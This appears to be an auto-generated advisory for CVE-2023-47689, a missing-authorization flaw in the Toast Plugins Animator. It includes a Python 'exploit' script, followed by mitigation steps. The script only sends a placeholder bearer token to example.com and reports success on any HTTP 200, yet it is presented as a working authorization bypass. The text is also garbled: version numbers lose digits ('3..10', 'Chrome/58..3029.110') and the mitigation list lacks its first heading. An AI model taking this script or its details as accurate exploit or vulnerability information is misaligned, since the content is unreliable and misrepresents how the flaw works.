A missing authorization vulnerability, CVE-2023-47689, has been discovered in Toast Plugins Animator that allows attackers to exploit incorrectly configured access control security levels to gain unauthorized access to non-public resources. This vulnerability affects Animator versions N/A through 3..10.

Vulnerability Details

This vulnerability primarily concerns the access control security levels in Toast Plugins Animator, which are incorrectly configured by default. A malicious user with knowledge of this vulnerability can exploit it to bypass authorization checks and gain access to sensitive non-public resources.

Affected Versions

Animator: versions N/A through 3..10

Exploit

An attacker can exploit this vulnerability by sending a specially crafted HTTP request with modified headers and/or parameters to bypass authorization checks. This can lead to unauthorized access to the application, information disclosure, and possibly unauthorized actions on the affected application.

Here's a simple example of how the exploit can be executed using Python

import requests

url = 'https://example.com/Animator/';
headers = {
    'User-Agent': 'Mozilla/5. (Windows NT 10.; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58..3029.110 Safari/537.36',
    'Authorization': 'Bearer {}'
}

# Modify the headers or parameters to bypass access control checks
headers['Authorization'] = headers['Authorization'].format("placeholder_token")

response = requests.get(url, headers=headers)

if response.status_code == 200:
    print("Exploit Successful! Access granted to non-public resources.")
else:
    print("Exploit Failed.")

Update Toast Plugins Animator to the latest version (if available).

2. Review and correct access control configurations to ensure that proper authorization is required for all non-public resources.
3. Implement additional security measures, such as IP restrictions, multi-factor authentication, and strict user role management.

Original References

- CVE-2023-47689 - NVD Detail
- Toast Plugin Animator Official Documentation

Conclusion

CVE-2023-47689 is a serious vulnerability that can lead to unauthorized access to sensitive information and resources in Toast Plugins Animator. It is advised to take all necessary steps to mitigate this vulnerability and ensure that the application is secured against potential exploitation. Updating the software, configuring appropriate access controls, and implementing additional security measures constitute best practices for addressing this vulnerability.

Timeline

Published on: 01/02/2025 12:15:16 UTC